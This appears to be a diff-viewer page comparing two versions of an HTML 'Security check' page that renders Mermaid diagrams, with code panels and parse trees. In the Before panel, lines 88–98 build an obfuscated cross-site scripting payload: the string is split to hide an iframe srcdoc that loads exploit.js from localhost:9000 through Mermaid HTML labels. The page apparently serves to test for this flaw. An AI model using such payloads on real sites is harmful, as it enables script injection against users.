Code view:

A painting is a person's account of this edit as text, recorded independently of the node mapping - a rendering often has several equally defensible answers where the mapping has one. Deletions and insertions carry no position on the opposite side in a painting, so that panel draws no caret for them.

Before

…lines 1–85 unchanged (85 lines)
86 }
87
88 let diagram = '%%{init: {"flowchart": {"htmlLabels": "true"}} }%%\n';
89 diagram += 'flowchart\n';
90 diagram += 'A["<ifra';
91 diagram += "me srcdoc='<scrip";
92 diagram += 't src=http://localhost:9000/exploit.js>';
93 diagram += '</scr';
94 diagram += 'ipt>\'></iframe>"]';
95
96 console.log(diagram);
97 // document.querySelector('#diagram').innerHTML = diagram;
98 const { svg } = await mermaid.render('diagram', diagram);
…lines 99–103 unchanged (5 lines)

After

…lines 1–46 unchanged (46 lines)
47 <div>Security check</div>
48 <div class="flex">
49 <div id="diagram" class="mermaid"></div>
50 <div id="res" class=""></div>
51 </div>
52 <script type="module">
53 import mermaid from './mermaid.esm.mjs';
54 mermaid.parseError = function (err, hash) {
55 // console.error('Mermaid error: ', err);
56 };
57 mermaid.initialize({
58 theme: 'forest',
59 arrowMarkerAbsolute: true,
…lines 60–103 unchanged (44 lines)

Before

document
element
start_tag
< "<"
tag_name "html"
> ">"
element (+95 nodes collapsed)
element
start_tag
< "<"
tag_name "body"
> ">"
element
start_tag
< "<"
tag_name "div"
> ">"
text "Security check"
end_tag
</ "</"
tag_name "div"
> ">"
element (+61 nodes collapsed)
script_element
start_tag
< "<"
tag_name "script"
attribute
attribute_name "type"
= "="
quoted_attribute_value
" "\""
attribute_value "module"
" "\""
> ">"
raw_text "\n import mermaid from './mermaid.esm.mjs';\n mermai"...
end_tag
</ "</"
tag_name "script"
> ">"
end_tag
</ "</"
tag_name "body"
> ">"
end_tag
</ "</"
tag_name "html"
> ">"

After

document
element
start_tag
< "<"
tag_name "html"
> ">"
element (+95 nodes collapsed)
element
start_tag
< "<"
tag_name "body"
> ">"
element
start_tag
< "<"
tag_name "div"
> ">"
text "Security check"
end_tag
</ "</"
tag_name "div"
> ">"
element (+61 nodes collapsed)
script_element
start_tag
< "<"
tag_name "script"
attribute
attribute_name "type"
= "="
quoted_attribute_value
" "\""
attribute_value "module"
" "\""
> ">"
raw_text "\n import mermaid from './mermaid.esm.mjs';\n mermai"...
end_tag
</ "</"
tag_name "script"
> ">"
end_tag
</ "</"
tag_name "body"
> ">"
end_tag
</ "</"
tag_name "html"
> ">"